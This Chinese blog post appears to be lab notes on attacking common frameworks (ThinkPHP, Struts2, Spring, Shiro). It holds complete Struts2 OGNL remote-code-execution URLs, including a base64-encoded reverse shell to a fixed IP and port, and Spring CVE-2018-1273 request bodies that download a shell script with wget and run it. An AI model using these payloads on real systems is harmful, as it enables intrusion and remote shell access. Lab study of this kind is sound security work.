当前位置: 首页 > news >正文

常⻅框架漏洞

一.Thinkphp(TP)

1.用fofa查询

body="thinkphp   V5"

放在蓝鲸中扫描

二.struts2

1.启动环境,打开页面

http://8.152.98.193:8080/struts2-showcase/

2.执行命令

http://8.152.98.193:8080/struts2-showcase/${(123+123)}/actionChain1.action

用url编码

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#
request['struts.valueStack'].context).(#cr=#ct['com.o
pensymphony.xwork2.ActionContext.container']).(#ou=#cr.getIns
tance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcl
udedPackageNames().clear()).(#ou.getExcludedClasses().cle
ar()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Run
time@getRuntime().exec('whoami')).(@o
rg.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

访问

http://8.152.98.193:8080/struts2-showcase/%24%7B
(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getIns
tance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcl
udedPackageNames().clear()).(%23ou.getExcludedClasses().cle
ar()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Run
time%40getRuntime().exec(%27whoami%27)).(%40o
rg.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

将bash -i >& /dev/tcp/8.152.98.193/8888 0>&1base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Mi45OC4xOTMvODg4OCAwPiYx

用url编码

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Mi45OC4xOTMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

访问

http://8.152.98.193:8080/struts2-showcase/%24%7B
(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC84LjE1Mi45OC4xOTMvODg4OCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

三.Spring

1.Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

1.启动环境(改配置 version: "3")

2.访问http://8.152.98.193:8080/customers/1,并抓包


2.spring 代码执⾏ (CVE-2018-1273)

1.启动环境(改配置 version: "3")

http://8.152.98.193:8080/users

2.填写注册信息,bp抓包:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=
上传一个shell.sh的脚本
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/shell.sh http://8.152.98.193/shell.sh")]=&password=&repeatedPassword=
执行命令
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/shell.sh")]=&password=&repeatedPassword=

四.Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

1.开启环境(改配置 version: "3")

2.使用工具

http://www.dtcms.com/a/313541.html

相关文章:

  • 电力电子技术知识总结-----PWM知识点
  • 基于Spring Data JPA与Redis二级缓存集成实战指南
  • C语言基础12——结构体2
  • vulhub-ELECTRICAL靶机
  • Python Pandas.factorize函数解析与实战教程
  • 验房收房怎么避免被坑?
  • elk快速部署、集成、调优
  • [CISCN 2023 初赛]go_session
  • 第十章:如何真正使用Java操作redis
  • VUE-第二季-01
  • Day 30:模块和库的导入
  • Git 常用命令指南:从入门到高效开发
  • 数据结构之链表
  • sublime text2配置
  • 设备维护计划制定指南:基于数据驱动的全流程技术实现
  • 接口测试用例的编写
  • solidworks打开step报【警告!可用的窗口资源极低】的解决方法
  • Kubernetes中ingress,egress,slb等概念的含义
  • 电路设计(电容)设计细节
  • 【华为OD机试】从小桶里取球
  • 嵌入式分享合集13
  • io_destroy系统调用及示例
  • 【AI】文档理解
  • 关于assert()函数,eval()函数,include
  • Java中手动床架一个线程池
  • 【OD机试题解法笔记】文件缓存系统
  • 第 10 篇:深度学习的“军火库”——CNN、RNN与Transformer,AI如何看懂世界?
  • pod的创建流程
  • [Linux入门] 从 iptables 到 nftables:初学者入门指南
  • 大数据之路:阿里巴巴大数据实践——元数据与计算管理